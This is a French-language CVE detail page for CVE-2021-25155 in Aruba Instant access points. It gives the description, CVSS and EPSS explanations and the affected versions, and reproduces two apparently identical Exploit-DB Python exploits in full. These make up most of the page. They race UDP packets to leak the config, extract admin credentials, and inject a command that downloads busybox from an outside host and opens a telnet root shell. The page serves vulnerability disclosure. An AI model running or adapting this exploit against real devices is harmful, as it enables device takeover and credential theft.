CVE-2021-25155 : Détail

CVE-2021-25155

6.5
/
Moyen
1.38%V3
Network
2021-03-29
22h13 +00:00
2021-07-16
14h06 +00:00
CVE.org
NVD
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Descriptions du CVE

A remote arbitrary file modification vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.6 and below; Aruba Instant 8.7.x: 8.7.1.0 and below. Aruba has released patches for Aruba Instant that address this security vulnerability.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable component allowing access to component-wide settings and files.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 8.5 AV:N/AC:L/Au:S/C:N/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 50136

Date de publication : 2021-07-14 22h00 +00:00
Auteur : Aleph Security
EDB Vérifié : No

import socket import sys import struct import time import threading import urllib3 import re import telnetlib import xml.etree.ElementTree as ET import requests urllib3.disable_warnings() CONTINUE_RACE = True SNPRINTF_CREATEFILE_MAX_LENGTH = 245 def race_papi_message(ip): global CONTINUE_RACE payload = b"\x49\x72" payload += b"\x00\x03" payload += b"\x7F\x00\x00\x01" payload += b"\x7F\x00\x00\x01" payload += b"\x00\x00" payload += b"\x00\x00" payload += b"\x3B\x7E" payload += b"\x41\x41" payload += b"\x04\x22" payload += b"\x00\x00" payload += b"\x02\x00" payload += b"\x00\x00" payload += b"\x00" * 12 * 4 text_to_send = bytes() for i in "msg_ref 3000 /tmp/cfg-plaintext\x00": text_to_send += struct.pack("B", int(ord(i)) ^ 0x93) packet = payload + text_to_send while CONTINUE_RACE: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((ip, 8211)) s.send(packet) s.close() time.sleep(0.004) def find_credentials(text): res = re.search("mgmt-user .*", text)[0] res = res.split(" ") return (res[1], res[2]) def login(ip, username, password): login_data = { "opcode": "login", "user": username, "passwd": password, "refresh": "false", } res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False) root = ET.fromstring(res.text) return root.find("./data[@name='sid']").text def create_directory(ip, sid): request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid) res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False) if "/tmp/oper_" in res.text: print("[+] Successfully created /tmp/oper_/ directory :)") return True else: print("[-] Failed creating /tmp/oper_/ directory") return False def prepare_upload_id(command): base_payload = "/../../etc/httpd/" cmd_len = len(command) padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8 # for the .gz at the end and the '; + spaces if padding_len < 0: print("[-] Command too long length:{}".format(padding_len)) exit(1) return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command) def create_file(ip, command): upload_id = prepare_upload_id(command) requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False) def run_command(ip, command): print("[*] Executing telnet") command = command.replace("?", "%3F") command = command.replace("#", "\\\\x23") s = requests.Session() req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command)) prep = req.prepare() response = s.send(prep, verify=False) return response.text def build_command(command): command = command.replace("/", "\\\\x2F") command = command.replace("#", "\\\\x23") command = command.replace("\"", "\\\"") command = command.replace("`", "\`") final_command = "echo -e \"{}\"|sh".format(command) return final_command def telnet_connect(router_ip): print("[*] Connecting to telnet") with telnetlib.Telnet(router_ip, 22222) as tn: tn.write(b"rm /etc/httpd/A*sh*.gz\n") tn.interact() def main(): global CONTINUE_RACE ip = sys.argv[1] print("[*] Starting the PAPI race thread") papi_thread = threading.Thread(target=race_papi_message, args=(ip, )) papi_thread.start() while CONTINUE_RACE: time.sleep(0.1) res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False) if "version" in res.text: print("[+] Successfully leaked the password from config") CONTINUE_RACE = False file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0] user, password = find_credentials(file_content) print("[+] Successfully extracted username: {} and password: {}".format(user, password)) sid = login(ip, user, password) print("[*] SID generated: {}".format(sid)) command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh""" final_command = build_command(command) if not create_directory(ip, sid): return print("[*] Creating malicious file in /etc/httpd/") create_file(ip, final_command) print(run_command(ip, final_command)) time.sleep(1) # Sleeping waiting for telnet. telnet_connect(ip) if __name__ == "__main__": main()
Exploit Database EDB-ID : 50133

Date de publication : 2021-07-15 22h00 +00:00
Auteur : Gr33nh4t
EDB Vérifié : No

# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification # Date: 15/07/2021 # Exploit Author: Gr33nh4t # Vendor Homepage: https://www.arubanetworks.com/ # Version: # Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below # Aruba Instant 6.5.x: 6.5.4.18 and below # Aruba Instant 8.3.x: 8.3.0.14 and below # Aruba Instant 8.5.x: 8.5.0.11 and below # Aruba Instant 8.6.x: 8.6.0.6 and below # Aruba Instant 8.7.x: 8.7.1.0 and below # Tested on: Aruba Instant # CVE : CVE-2021-25155 import socket import sys import struct import time import threading import urllib3 import re import telnetlib import xml.etree.ElementTree as ET import requests urllib3.disable_warnings() CONTINUE_RACE = True SNPRINTF_CREATEFILE_MAX_LENGTH = 245 def race_papi_message(ip): global CONTINUE_RACE payload = b"\x49\x72" payload += b"\x00\x03" payload += b"\x7F\x00\x00\x01" payload += b"\x7F\x00\x00\x01" payload += b"\x00\x00" payload += b"\x00\x00" payload += b"\x3B\x7E" payload += b"\x41\x41" payload += b"\x04\x22" payload += b"\x00\x00" payload += b"\x02\x00" payload += b"\x00\x00" payload += b"\x00" * 12 * 4 text_to_send = bytes() for i in "msg_ref 3000 /tmp/cfg-plaintext\x00": text_to_send += struct.pack("B", int(ord(i)) ^ 0x93) packet = payload + text_to_send while CONTINUE_RACE: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((ip, 8211)) s.send(packet) s.close() time.sleep(0.004) def find_credentials(text): res = re.search("mgmt-user .*", text)[0] res = res.split(" ") return (res[1], res[2]) def login(ip, username, password): login_data = { "opcode": "login", "user": username, "passwd": password, "refresh": "false", } res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False) root = ET.fromstring(res.text) return root.find("./data[@name='sid']").text def create_directory(ip, sid): request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid) res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False) if "/tmp/oper_" in res.text: print("[+] Successfully created /tmp/oper_/ directory :)") return True else: print("[-] Failed creating /tmp/oper_/ directory") return False def prepare_upload_id(command): base_payload = "/../../etc/httpd/" cmd_len = len(command) padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8 # for the .gz at the end and the '; + spaces if padding_len < 0: print("[-] Command too long length:{}".format(padding_len)) exit(1) return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command) def create_file(ip, command): upload_id = prepare_upload_id(command) requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False) def run_command(ip, command): print("[*] Executing telnet") command = command.replace("?", "%3F") command = command.replace("#", "\\\\x23") s = requests.Session() req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command)) prep = req.prepare() response = s.send(prep, verify=False) return response.text def build_command(command): command = command.replace("/", "\\\\x2F") command = command.replace("#", "\\\\x23") command = command.replace("\"", "\\\"") command = command.replace("`", "\`") final_command = "echo -e \"{}\"|sh".format(command) return final_command def telnet_connect(router_ip): print("[*] Connecting to telnet") with telnetlib.Telnet(router_ip, 22222) as tn: tn.write(b"rm /etc/httpd/A*sh*.gz\n") tn.interact() def main(): global CONTINUE_RACE ip = sys.argv[1] print("[*] Starting the PAPI race thread") papi_thread = threading.Thread(target=race_papi_message, args=(ip, )) papi_thread.start() while CONTINUE_RACE: time.sleep(0.1) res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False) if "version" in res.text: print("[+] Successfully leaked the password from config") CONTINUE_RACE = False file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0] user, password = find_credentials(file_content) print("[+] Successfully extracted username: {} and password: {}".format(user, password)) sid = login(ip, user, password) print("[*] SID generated: {}".format(sid)) command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh""" final_command = build_command(command) if not create_directory(ip, sid): return print("[*] Creating malicious file in /etc/httpd/") create_file(ip, final_command) print(run_command(ip, final_command)) time.sleep(1) # Sleeping waiting for telnet. telnet_connect(ip) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Arubanetworks>>Instant >> Version From (including) 6.4.0.0 To (including) 6.4.4.8-4.2.4.18

Arubanetworks>>Instant >> Version From (including) 6.5.0.0 To (excluding) 6.5.4.19

Arubanetworks>>Instant >> Version From (including) 8.3.0.0 To (excluding) 8.3.0.15

Arubanetworks>>Instant >> Version From (including) 8.5.0.0 To (excluding) 8.5.0.12

Arubanetworks>>Instant >> Version From (including) 8.6.0.0 To (excluding) 8.6.0.7

Arubanetworks>>Instant >> Version From (including) 8.7.0.0 To (excluding) 8.7.1.1

Configuraton 0

Siemens>>Scalance_w1750d_firmware >> Version From (including) 8.7.0 To (excluding) 8.7.1.3

Siemens>>Scalance_w1750d >> Version -

Références